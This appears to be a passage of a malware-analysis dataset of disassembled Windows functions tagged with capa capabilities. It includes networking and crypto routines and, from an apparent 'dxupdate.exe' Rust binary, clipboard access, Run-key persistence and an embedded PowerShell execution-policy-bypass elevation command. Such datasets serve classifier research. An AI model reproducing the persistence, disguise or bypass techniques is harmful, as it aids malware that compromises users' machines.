joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401dc440
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1402d10e0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbp, qword [rcx + 0x218]
mov rsi, qword [rcx]
mov rbx, rcx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x28]
mov rcx, rbp
or rdi, 0xffffffffffffffff
mov dword [rsp + 0x20], reloc.ODBC32.dll_SQLFreeStmt
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1401dc4b1
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x28]
mov rcx, rbp
mov dword [rsp + 0x20], reloc.ODBC32.dll_SQLFreeStmt
call qword [sym.imp.WS2_32.dll_accept]
mov rdi, rax
mov rdx, rbp
mov rcx, rbx
call fcn.1401c8700
mov rcx, rsi
cmp rdi, 0xffffffffffffffff
jne 0x1401dc4d6
lea rdx, str.Error_accept__ing_server_connect
call fcn.1401c4fe0
lea eax, [rdi + 0x1f]
jmp 0x1401dc53d
lea rdx, str.Connection_accepted_from_server_n
call fcn.1401c4f30
mov edx, 1
mov rcx, rdi
mov dword [rbx + 0x568], 0
mov qword [rbx + 0x218], rdi
call fcn.1401eb810
mov dword [rbx + 0x234], 1
mov rax, qword [rsi + 0x278]
test rax, rax
je 0x1401dc53b
mov rcx, qword [rsi + 0x280]
mov r8d, 1
mov rdx, rdi
call rax
test eax, eax
je 0x1401dc53b
mov rcx, rbx
call fcn.1401dc310
mov eax, SQLGetInfo
jmp 0x1401dc53d
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14019c800
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x1401e0020
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov eax, 0x51eb851f
mov edi, r8d
mov r8d, edx
xor ebx, ebx
mov rsi, rcx
mov rcx, qword [rcx]
imul edx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp edx, 2
je 0x1401e0072
lea rdx, str.Couldnt_set_desired_mode
call fcn.1401c4fe0
lea eax, [rbx + 0x11]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp r8d, 0xc8
je 0x1401e0087
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.1401c4f30
cmp edi, 0x13
jne 0x1401e0096
mov rcx, rsi
call fcn.1401dffa0
jmp 0x1401e00c1
cmp edi, 0x14
jne 0x1401e00a5
mov rcx, rsi
call fcn.1401dcf90
jmp 0x1401e00c1
cmp edi, 0x15
jne 0x1401e00b4
mov rcx, rsi
call fcn.1401e0000
jmp 0x1401e00c1
cmp edi, 0x16
jne 0x1401e00c3
mov rcx, rsi
call fcn.1401e0010
mov ebx, eax
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1401e07b0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, qword [rcx]
mov ebx, dword [rcx + 0x9ec]
mov eax, 0x51eb851f
imul edx
sar edx, 5
mov rdi, rcx
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp edx, 2
je 0x1401e083c
test ebx, ebx
jne 0x1401e07fa
lea rdx, str.disabling_EPRT_usage_n
mov rcx, rsi
call fcn.1401c4f30
mov dword [rdi + 0x58c], ebx
inc ebx
cmp ebx, 2
jne 0x1401e0823
lea rdx, str.Failed_to_do_PORT
mov rcx, rsi
call fcn.1401c4fe0
lea eax, [rbx + 0x1c]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov edx, ebx
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x1401dc7a0
lea rdx, str.Connect_data_stream_actively_n
mov rcx, rsi
call fcn.1401c4f30
xor edx, edx
mov rcx, rdi
call fcn.1401dc660
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.1401e0610
Function at 0x1401e7a50
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x148
mov rax, qword [0x1402d10e0]
xor rax, rsp
mov qword [rsp + 0x130], rax
call fcn.1401b45a0
mov byte [rsp + 0x20], 0
test rax, rax
je 0x1401e7ab6
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [rsp + 0x20], 0
je 0x1401e7ab6
lea rcx, [rsp + 0x20]
call qword [fcn.1401a10f8]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14019c800
add rsp, 0x148
ret
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14019c800
add rsp, 0x148
ret
jmp 0x1401e7a50

Function at 0x1401e7ad0
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x148
mov rax, qword [0x1402d10e0]
xor rax, rsp
mov qword [rsp + 0x130], rax
call fcn.1401b45a0
mov byte [rsp + 0x20], 0
test rax, rax
je 0x1401e7ab6
lea rdx, [rsp + 0x20]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [rsp + 0x20], 0
je 0x1401e7ab6
lea rcx, [rsp + 0x20]
call qword [fcn.1401a10f8]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14019c800
add rsp, 0x148
ret
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14019c800
add rsp, 0x148
ret
jmp 0x1401e7a50

Function at 0x1401eb810
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x28
xor eax, eax
test edx, edx
lea r8, [rsp + 0x38]
setne al
mov edx, 0x8004667e
mov dword [rsp + 0x38], eax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
add rsp, 0x28
ret

Function at 0x1401ee500
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
movsxd rbx, edx
mov rdi, rcx
mov byte [rcx], 0
mov edx, ebx
call qword [sym.imp.WS2_32.dll_gethostname]
mov byte [rbx + rdi - 1], 0
test eax, eax
jne 0x1401ee539
lea edx, [rax + 0x2e]
mov rcx, rdi
call fcn.1401a61ac
test rax, rax
je 0x1401ee537
mov byte [rax], 0
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1401ee610
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1402d10e0]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rdi, rcx
mov rsi, r8
mov rbx, rdx
lea rcx, [rsp + 0x48]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x40], 8
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1401ee6e1
xor eax, eax
lea rdx, [rsp + 0x64]
mov rcx, rsi
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov word [rsp + 0x58], 0x208
mov dword [rsp + 0x5c], 0x6601
mov dword [rsp + 0x60], 8
mov dword [rsp + 0x68], eax
call fcn.1401ee570
lea rcx, [rsp + 0x64]
mov edx, 8
call fcn.1401f3bd0
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
lea r11, [rsp + 0x50]
lea r8d, [r9 + 0x14]
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x28], r11
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x1401ee6e5
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
jmp 0x1401ee732
mov ecx, dword [rsp + 0x40]
mov rax, qword [rdi]
xor r9d, r9d
mov dword [rsp + 0x30], ecx
lea rcx, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov qword [rbx], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 1
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14019c800
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x1401ee760
Capabilities:
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
mov r8, rcx
mov rdx, rdi
mov rcx, rsi
call fcn.1401ee610
lea r8, [rbx + 7]
lea rdx, [rdi + 8]
mov rcx, rsi
call fcn.1401ee610
lea r8, [rbx + 0xe]
lea rdx, [rdi + 0x10]
mov rcx, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.1401ee610
Function at 0x1401ee8b0
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
mov rbx, r8
mov rbp, rdx
not rcx
dec rcx
mov rsi, rcx
add rcx, rcx
call qword [fcn.14019dd74]
mov rdi, rax
test rax, rax
jne 0x1401ee8f7
lea eax, [rdi + 0x1b]
jmp 0x1401ee9b3
mov r8, rsi
mov rdx, rbp
mov rcx, rax
call fcn.1401ee880
lea rcx, [rsp + 0x38]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1401ee9a0
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1401ee993
mov rcx, qword [rsp + 0x30]
lea r8d, [rsi + rsi]
xor r9d, r9d
mov rdx, rdi
mov dword [rsp + 0x68], reloc.ODBC32.dll_SQLFreeStmt
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x68]
mov r8, rbx
mov edx, 2
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rcx, rdi
mov dword [rbx + 0x10], eax
mov byte [rbx + 0x14], al
call qword [fcn.14019dd34]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x1401f1410
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rdi, r8
cmp dword [rcx + 8], 3
mov rsi, rdx
jne 0x1401f145a
mov rax, qword [rbx + 0x18]
test rax, rax
jne 0x1401f144a
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov r9, qword [rcx + 0x10]
mov edx, 1
mov rcx, rsi
call rax
jmp 0x1401f14a2
cmp qword [rbx + 0x10], 0
jne 0x1401f148e
mov rcx, qword [rcx + 0x10]
lea rdx, [0x140218320]
call fcn.14019cde4
mov qword [rbx + 0x10], rax
test rax, rax
jne 0x1401f148e
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov r9, qword [rbx + 0x10]
mov r8, rdi
mov edx, 1
mov rcx, rsi
call fcn.14019d268
mov rdi, rax
test rax, rax
jne 0x1401f14c5
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1401f14bc
call fcn.14019cca4
mov qword [rbx + 0x10], rdi
mov rax, qword [rbx]
mov rcx, qword [rax]
mov qword [rbx], rcx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rax, rdi
add rsp, 0x20
pop rdi
ret
Function at 0x1401f46f0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r12
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov r12d, r8d
lea r9d, [rax + rax]
mov eax, dword [rcx + 0x20]
mov rbp, rdx
lea rcx, [r9 + rax + 0x18]
call qword [fcn.14019dd74]
mov rdi, rax
test rax, rax
jne 0x1401f4731
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r12
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rsp + 0x48], rsi
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rdi + 0x10], rax
cmp r12d, dword [rbx + 0x1c]
jbe 0x1401f4775
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, r12d
mov rdx, rbp
call qword [rbx + reloc.ODBC32.dll_SQLDescribeCol]
mov ebp, dword [rbx + 0x18]
mov rdx, qword [rdi + 8]
add rbp, qword [rdi + 0x10]
mov rcx, rbp
call qword [rbx + reloc.ODBC32.dll_SQLFreeStmt]
mov r12d, dword [rbx + 0x20]
mov rcx, qword [rdi + 8]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test r12, r12
je 0x1401f47d4
mov rsi, r12
nop dword [rax + rax]
movzx eax, byte [rbp]
lea rdx, [rsp + 0x40]
mov r8d, 1
xor al, 0x36
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.ODBC32.dll_SQLDescribeCol]
movzx r11d, byte [rbp]
lea rdx, [rsp + 0x40]
xor r11b, 0x5c
mov r8d, 1
inc rbp
mov byte [rsp + 0x40], r11b
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.ODBC32.dll_SQLDescribeCol]
dec r12
jne 0x1401f4790
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1401f4813
nop dword [rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14027edf9]
mov r8d, 1
call qword [rbx + reloc.ODBC32.dll_SQLDescribeCol]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14027edfa]
mov r8d, 1
call qword [rbx + reloc.ODBC32.dll_SQLDescribeCol]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1401f47e0
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
mov rax, rdi
add rsp, 0x20
pop r12
pop rdi
pop rbp
ret

Function at 0x1401f4b18
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, edx
test rcx, rcx
jne 0x1401f4b42
call fcn.14019e400
and dword [rax], 0
call fcn.14019e3e0
mov ebx, reloc.WLDAP32.dll_Ordinal_22
mov dword [rax], ebx
call fcn.1401a36cc
mov eax, ebx
jmp 0x1401f4b92
test edx, 0xfffffff9
jne 0x1401f4b25
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1401f4b6b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14019e420
call fcn.14019e3e0
mov eax, dword [rax]
jmp 0x1401f4b92
test al, 0x10
jne 0x1401f4b90
test al, 1
je 0x1401f4b90
test bl, 2
je 0x1401f4b90
call fcn.14019e400
mov dword [rax], 5
call fcn.14019e3e0
mov dword [rax], reloc.ODBC32.dll_SQLFetch
jmp 0x1401f4b62
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x1400015f0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
add rdx, rcx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdx
mov word [rsp + 0x50], 0
mov dword [rsp + 0x58], 1
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.1400026d0
mov rdi, qword [rsp + 0x38]
xor esi, esi
xor ecx, ecx
call sub.USER32.dll_OpenClipboard
cmp eax, 1
jne 0x14000169b
call sub.USER32.dll_EmptyClipboard
cmp eax, 1
jne 0x140001694
add rdi, rdi
mov ecx, 0x2002
mov rdx, rdi
call sub.KERNEL32.dll_GlobalAlloc
test rax, rax
je 0x140001694
mov rbx, rax
mov rcx, rax
call sub.KERNEL32.dll_GlobalLock
mov rdx, qword [rsp + 0x30]
mov rcx, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call sub.KERNEL32.dll_GlobalUnlock
mov ecx, 0xd
mov rdx, rbx
call sub.USER32.dll_SetClipboardData
mov sil, 1
test rax, rax
jne 0x140001696
mov rcx, rbx
call sub.KERNEL32.dll_GlobalFree
xor esi, esi
call sub.USER32.dll_CloseClipboard
mov rdx, qword [rsp + 0x28]
test rdx, rdx
je 0x1400016b8
mov rcx, qword [rsp + 0x30]
add rdx, rdx
mov r8d, 2
call fcn.140006360
mov eax, esi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret

Function at 0x1400016d0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
mov rsi, rcx
xor ecx, ecx
call sub.USER32.dll_OpenClipboard
cmp eax, 1
jne 0x140001794
mov ecx, 0xd
call sub.USER32.dll_GetClipboardData
test rax, rax
je 0x1400017a0
mov rdi, rax
mov rcx, rax
call sub.KERNEL32.dll_GlobalLock
mov rcx, rax
add rcx, 0xfffffffffffffffe
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x140001720
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rcx
mov word [rsp + 0x48], 0
mov qword [rsp + 0x20], 0
lea rbx, [rsp + 0x28]
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 0
mov rax, r8
shr rax, 1
and r8d, 1
add r8, rax
jne 0x1400017c8
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x20]
call fcn.140001100
mov r14, qword [rsp + 0x20]
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, rdi
call sub.KERNEL32.dll_GlobalUnlock
jmp 0x1400017aa
movabs r14, 0x8000000000000000
jmp 0x1400017af
movabs r14, 0x8000000000000000
call sub.USER32.dll_CloseClipboard
mov qword [rsi], r14
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rsi + 8], xmm0
mov rax, rsi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.1400b4880
jmp 0x14000176e
Function at 0x140001960
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x1400019a2
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x1400019aa
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x1400019bb
jmp 0x1400019d2
xor r10d, r10d
jmp 0x140001a5d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x1400019d2
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x1400019e9
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x140001a09
add r11, r8
jmp 0x140001b3b
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x140001ad2
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x140001a80
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x140001af0
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x140001b02
jmp 0x140001b1d
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x140001b1d
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x140001b37
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x1400022c0
Capabilities:
Set registry value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xa0
mov rsi, r9
mov rdi, rcx
add r8, rdx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov word [rsp + 0x58], 0
mov dword [rsp + 0x60], 1
lea rcx, [rsp + 0x88]
lea rdx, [rsp + 0x48]
call fcn.1400026d0
mov rax, qword [rsp + 0xe0]
add rax, rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rax
mov word [rsp + 0x78], 0
mov dword [rsp + 0x80], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x68]
call fcn.1400026d0
mov rsi, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x38]
mov eax, dword [rsp + 0x40]
add eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov rcx, rdi
mov rdx, rsi
xor r8d, r8d
mov r9d, 1
call sub.ADVAPI32.dll_RegSetValueExW
mov edi, eax
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x140002381
add rdx, rdx
mov r8d, 2
mov rcx, rbx
call fcn.140006360
mov rdx, qword [rsp + 0x88]
test rdx, rdx
je 0x14000239f
add rdx, rdx
mov r8d, 2
mov rcx, rsi
call fcn.140006360
mov rcx, rdi
shl rcx, 0x20
or rcx, 2
xor eax, eax
test edi, edi
cmovne rax, rcx
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
ret
Function at 0x140006180
Capabilities:
Persist via run registry key

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
mov rsi, rcx
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x30], rax
lea rax, [0x1400b8ddd]
mov qword [rsp + 0x38], rax
mov word [rsp + 0x40], 0
mov dword [rsp + 0x48], 1
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x30]
call fcn.1400026d0
mov qword [rsp + 0x28], 0
mov r14, qword [rsp + 0x58]
lea rax, [rsp + 0x28]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
mov rdx, r14
xor r8d, r8d
mov r9d, 0x2001f
call sub.ADVAPI32.dll_RegOpenKeyExW
mov ebx, eax
mov rdi, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x140006214
add rdx, rdx
mov r8d, 2
mov rcx, r14
call fcn.140006360
test ebx, ebx
jne 0x140006263
mov rbx, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x20], rax
lea rdx, str.dxupdate.exey5a2rsrkLKEzJ8uG5Colpdxupdatesrcmain.rs
mov r8d, 0xc
mov rcx, rdi
mov r9, rbx
call fcn.1400022c0
mov rdx, qword [rsi]
test rdx, rdx
je 0x140006259
mov r8d, 1
mov rcx, rbx
mov rsi, rax
call fcn.140006360
mov rax, rsi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
shl rbx, 0x20
or rbx, 2
mov qword [rsp + 0x30], rbx
lea rax, [0x1400b8de0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valuesrcos.rspowershellBypass_NoProfile_CommandStart_Process__FilePath_____Verb_RunAs
lea r9, [0x1400b8bf8]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.1400b7b30
int3
Function at 0x14004ec80
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov r15, rdx
mov rbx, rcx
mov rsi, qword [rcx + 8]
mov rdi, qword [rcx + 0x10]
test rdi, rdi
je 0x14004ecf1
mov rax, rdi
shr rax, 0x3d
jne 0x14004ee54
lea r12, [rdi*4]
movzx eax, byte [0x14013e141]
mov edx, 4
mov rcx, r12
call fcn.140006350
test rax, rax
je 0x14004ee59
mov r14, rax
mov rcx, rax
mov rdx, rsi
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [r15 + 0x10]
test rdx, rdx
jne 0x14004ed04
jmp 0x14004edd7
mov rdx, qword [r15 + 0x10]
mov r14d, 4
test rdx, rdx
je 0x14004ede8
mov rcx, qword [rbx + 0x18]
and ecx, 0x3f
xor r8d, r8d
jmp 0x14004ed1c
mov dword [rsi + r8*4], r10d
inc r8
cmp r8, rdx
je 0x14004ed5c
mov r9, r8
shl r9, cl
cmp r8, rdi
je 0x14004ee42
mov eax, dword [r14 + r8*4]
cmp eax, r9d
je 0x14004ed14
nop word cs:[rax + rax]
mov r10d, eax
mov eax, eax
shr rax, cl
cmp rax, rdi
jae 0x14004ee1e
mov eax, dword [r14 + rax*4]
cmp eax, r9d
jne 0x14004ed40
jmp 0x14004ed10
mov r8, qword [r15 + 8]
imul rdx, rdx, 0x38
add rdx, r8
jmp 0x14004ed79
add r8, 0x38
cmp r8, rdx
je 0x14004edd0
mov eax, dword [r8 + 0x30]
shr rax, cl
cmp rax, rdi
jae 0x14004ee30
mov eax, dword [rsi + rax*4]
mov dword [r8 + 0x30], eax
mov r9, qword [r8 + 0x10]
test r9, r9
je 0x14004ed70
mov r10, qword [r8 + 8]
shl r9, 3
xor r11d, r11d
nop word cs:[rax + rax]
mov eax, dword [r10 + r11 + 4]
shr rax, cl
cmp rax, rdi
jae 0x14004ee30
mov eax, dword [rsi + rax*4]
mov dword [r10 + r11 + 4], eax
add r11, 8
cmp r9, r11
jne 0x14004edb0
jmp 0x14004ed70
shl rdi, 2
mov r12, rdi
mov r8d, 4
mov rcx, r14
mov rdx, r12
call fcn.140006360
mov rdx, qword [rbx]
test rdx, rdx
je 0x14004ee0f
shl rdx, 2
mov r8d, 4
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp fcn.140006360
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.C:Usersm.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aho_corasick_1.0.1_srcutil_remapper.rs
mov rcx, rax
mov rdx, rdi
call fcn.1400b7860
lea r8, [0x1400c0608]
mov rcx, rax
mov rdx, rdi
call fcn.1400b7860
